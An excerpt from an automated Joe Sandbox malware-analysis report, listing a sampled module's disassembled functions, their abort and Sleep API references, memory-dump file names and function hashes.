abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction ID: a2ffd0735201a9f24388eda5fba97b2ea365ea80930b2aeebdbb134fdc10bffa
Opcode Fuzzy Hash: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction Fuzzy Hash: B7E08C3AA4E71D4B86206EACBA810BFB258DB4239CF515C38C908B3D00E781E818C2C2

Function 6C84BE00 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction ID: a2b13e53d2a0a0d000921d545cd3e7154d0184774dd8136cc2318c8a69714890
Opcode Fuzzy Hash: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction Fuzzy Hash: 2AD0A73454D21F4B8B155F2C41998BDF3F66B4634875A9CB4C005F3E05EB21EA1AC604

Function 6C84BE70 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction ID: 21c8ebcd9c9c2107f07d7f8dc1835328867c772debc6e151e5673618db6bc2ba
Opcode Fuzzy Hash: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction Fuzzy Hash: CED01778589B0D8F8360EF18D2948A9F7E5AB4A345B419D79C40897F20E735D408CA11

Function 6C84BDC7 Relevance: 37.5, APIs: 25, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction ID: 758410bdadf3117cff95a35c75d059644359edfb06a7fc538a3635522119a0cc
Opcode Fuzzy Hash: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction Fuzzy Hash: 3BC0123998D71D4BC1702EAC155137AF2959B07254F526C38884533E00DB95E815C555

Function 6C84BE98 Relevance: 37.5, APIs: 25, Instructions: 43COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction ID: d55b24b9ca8421d9629a36c0e8207052d9d7e45a1baa9855d3a55f72ecaab869
Opcode Fuzzy Hash: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction Fuzzy Hash: B2C0123DA5D71D8B8261AE9891514AAB264AB4B344F412C74C40173F00D7A4E419D551

Function 6C84BDE8 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction ID: 8b0b5fd1aeb83c34bdaf2f099aaf3b7289d44895ec07b4abab9c312a06deeb97
Opcode Fuzzy Hash: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction Fuzzy Hash: 05C08C389CC71D4701A03E1C1691079B2A547072B4B862D34C00033F00DF4AD819C054

Function 6C84C150 Relevance: 36.3, APIs: 24, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddca28ce77d56c2448e6025ececc1bfdd423fa41111051beb06c9b333830d94e
Instruction ID: d7dbf54792988ee7a50b6762aac4061c87b8efbac1121d597900dab52ca68be6
Opcode Fuzzy Hash: ddca28ce77d56c2448e6025ececc1bfdd423fa41111051beb06c9b333830d94e
Instruction Fuzzy Hash: 69B1B271A0834A8FD720DF28C58075ABBE5BF86308F058D6DD9959BB42D375E908CB92

Function 6C84C470 Relevance: 33.2, APIs: 22, Instructions: 152COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f0522a50cc6bfe19a13d307fffe492ad84914a7d363ef5309f2847c67a0a0950
Instruction ID: 328959ee7c82fc83927afc971c305d168a1ad60fa37f319bdb58581ce2eb8903
Opcode Fuzzy Hash: f0522a50cc6bfe19a13d307fffe492ad84914a7d363ef5309f2847c67a0a0950
Instruction Fuzzy Hash: 6841BEB1A012188FCB10DF68C9817E9BBF9BF49344F19887AD859DF782E33594058B60

Function 6C84D370 Relevance: 31.6, APIs: 21, Instructions: 130sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C84CD00: strlen.MSVCRT ref: 6C84CD7D

Sleep.KERNEL32 ref: 6C84D4D7
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
